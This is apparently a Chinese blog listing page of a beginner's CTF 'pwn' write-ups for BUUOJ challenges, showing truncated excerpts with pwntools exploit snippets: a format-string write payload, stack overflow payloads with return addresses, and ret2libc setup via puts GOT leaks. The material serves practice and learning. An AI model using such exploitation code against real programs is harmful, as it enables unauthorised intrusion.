pwn题
m0_49766582
这个作者很懒,什么都没留下…
展开
-
jarvisoj_fm 1 格式化字符串漏洞
1 from pwn import * 2 p = remote("node3.buuoj.cn",29263) 3 payload = p32(0x0804A02C)+b"%11$n" 4 p.sendline(payload) 5 p.interactive() ~需要覆盖x的值,将x的值变为4,利用格式化字符串漏洞。原创 2021-06-01 22:00:17 · 201 阅读 · 0 评论 -
2021-05-29
pwn2_sctf_20161 from pwn import * 2 from LibcSearcher import * 3 context.log_level = 'debug' 4 p = remote('node3.buuoj.cn', 25642) 5 elf原创 2021-05-29 20:16:33 · 78 阅读 · 0 评论 -
2021-05-22
not_the_same_3dsctf_2016 11 from pwnimport* 2 io=remote('node3.buuoj.cn',27593) 3 exit=0x0804e660 4 context.log_level='debug'//必须要开这个才能看见flag 5 flag=0x080eca2d//f14g的地址 6 printf=0x0804f原创 2021-05-22 17:38:44 · 143 阅读 · 0 评论 -
2021-05-16
[OGeek2019]babyrop1.open函数的返回值:如果操作成功,它将返回一个文件描述符,如果操作失败,它将返回-1;2.文件描述符:0,1,2是标准IO输入/输出/错误输出给占用了,当文件open成功了,会返回数值3;3.read(fd,&buf,4u)是把fd所指向的随机数写入到buf文件中,长度是4个字节。 此时,buf是随机数作为参数传入f2;4.sprintf的作用是将一个格式化的字符串输出到一个目的字符串中5.read函数原型:ssize_t read(int fd原创 2021-05-16 00:29:17 · 1629 阅读 · 0 评论 -
2021-05-11
1 from pwn import* 2 from LibcSearcher import * 3 io=remote('node3.buuoj.cn',26312) 4 elf=ELF("./ciscn_2019_c_1") 5 puts_plt=elf.plt['puts']//等于的是puts.plt的地址 6 puts_got=elf.got['puts'] .原创 2021-05-15 20:50:52 · 116 阅读 · 0 评论 -
第二天
今天也做了两道题第一题ciscn_2019_n_1 1点进去就可以看见11.28125在内存中存储的值。涉及到浮点数在内存中如何存储的问题:阶码https://blog.51cto.com/u_10984944/24758981 from pwn import *23 p=remote(‘node3.buuoj.cn’,29879)45 payload=b"A"*44+p64(0x41348000)6 p.sendline(payload)78 p.interactive()第原创 2021-04-27 17:29:43 · 95 阅读 · 0 评论 -
第一天
做了两道水题,我就是个废物第一题 buu rip1这里很神奇,可以通过代码看出s是15个字节的但是通过gdb调试rbp到rsp之间有16字节,实际上仔细看第一行最后一个数字是d0不是41(A)所以要构造15+8=23字节的垃圾数据payload=b"A"*23+p64(0x401016)+p64(0x401186)第二题 warmup题1 from pwn import *2 context.log_level = ‘debug’ #显示调试的信息3 p = remote(“原创 2021-04-25 22:18:46 · 123 阅读 · 0 评论